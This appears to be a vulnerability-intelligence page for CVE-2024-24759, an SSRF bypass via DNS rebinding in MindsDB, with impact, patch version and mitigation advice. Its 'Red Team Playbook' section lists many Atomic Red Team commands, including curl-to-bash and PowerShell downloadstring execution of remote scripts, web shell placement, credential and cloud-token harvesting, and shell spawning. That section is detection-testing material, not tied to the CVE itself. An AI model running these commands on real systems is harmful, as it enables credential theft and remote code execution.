CVE-2024-24759
Overview
The vulnerability is a server-side request forgery (SSRF) bypass via DNS rebinding affecting MindsDB's web platform. The root cause lies in inadequate validation of DNS responses, allowing a malicious actor to manipulate DNS resolution and bypass SSRF protections. This flaw impacts the web server component responsible for handling external resource requests, enabling unauthorized internal network interactions.
Vulnerability Description
MindsDB is a platform for building artificial intelligence from enterprise data. Prior to version 23.12.4.2, a threat actor can bypass the server-side request forgery protection on the whole website with DNS Rebinding. The vulnerability can also lead to denial of service. Version 23.12.4.2 contains a patch.
Impact
An unauthenticated attacker can exploit this vulnerability remotely (AV:N/AC:L/PR:N/UI:N) to bypass SSRF protections and make arbitrary requests within the internal network, potentially accessing sensitive internal resources. Additionally, the flaw can be leveraged to cause denial of service conditions by forcing the server to process malicious requests. This can lead to unauthorized data exposure or service disruption without requiring user interaction or privileges.
Solution
Users should upgrade MindsDB to version 23.12.4.2 or later, where the SSRF bypass via DNS rebinding is patched. Detailed remediation instructions and patch information are available in the MindsDB GitHub security advisory GHSA-4jcv-vp96-94xr and the corresponding commit 5f7496481bd3db1d06a2d2e62c0dce960a1fe12b. No additional workarounds are documented by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in MindsDB arises from a weakness in its server-side request forgery (SSRF) protection mechanism, which can be exploited through DNS rebinding attacks. This type of attack allows a malicious actor to manipulate the DNS resolution process, effectively tricking the server into believing that requests are coming from a trusted source. By bypassing the SSRF protection, an attacker can send crafted requests to internal services or external resources that should otherwise be inaccessible. This flaw is particularly concerning as it can lead to unauthorized access to sensitive data or services, as well as potential denial of service (DoS) conditions if the attacker floods the server with requests.
The attack vector for this vulnerability is relatively straightforward. An attacker could set up a malicious domain that resolves to a local IP address, such as 127.0.0.1 or another internal service. By convincing the MindsDB server to make a request to this domain, the attacker can leverage the server's privileges to access internal resources that are not exposed to the public internet. For instance, if the server is configured to interact with a database or an internal API, the attacker could exploit this access to extract sensitive information or disrupt services. Additionally, the ability to induce a denial of service could be achieved by overwhelming the server with requests directed at internal services, leading to resource exhaustion and potential downtime.
The real-world impact of this vulnerability is significant, especially for organizations relying on MindsDB for their AI and data processing needs. The potential for unauthorized access to internal systems poses a serious risk, as sensitive data could be exfiltrated or manipulated. Furthermore, the denial of service aspect could lead to operational disruptions, affecting business continuity and potentially resulting in financial losses. Organizations that fail to address this vulnerability may also face reputational damage, particularly if customer data is compromised or services are rendered unavailable for extended periods.
To detect and mitigate this vulnerability, organizations should first ensure they are running the latest version of MindsDB, as the patch in version 23.12.4.2 addresses the SSRF protection flaw. Regularly updating software and applying security patches is a fundamental practice in maintaining a secure environment. Additionally, implementing network segmentation can help limit the impact of a successful attack by restricting access to internal services. Monitoring network traffic for unusual patterns, particularly requests that seem to originate from internal resources, can also aid in early detection of exploitation attempts. Finally, employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious requests before they reach the application.
In conclusion, the vulnerability in MindsDB represents a critical risk that can be exploited through DNS rebinding attacks, leading to unauthorized access and potential denial of service. Organizations must prioritize patching their systems and implementing robust security measures to mitigate the risks associated with this vulnerability. By adopting a proactive approach to cybersecurity, businesses can safeguard their data and maintain the integrity of their operations in an increasingly hostile digital landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Mindsdb | Mindsdb | All |
cpe:2.3:a:mindsdb:mindsdb:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-664 | Server Side Request Forgery |
34%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-24759 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4jcv-vp96-94xr |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/mindsdb/mindsdb/commit/5f7496481bd3db1d06a2d2e62c0dce960a1fe12b |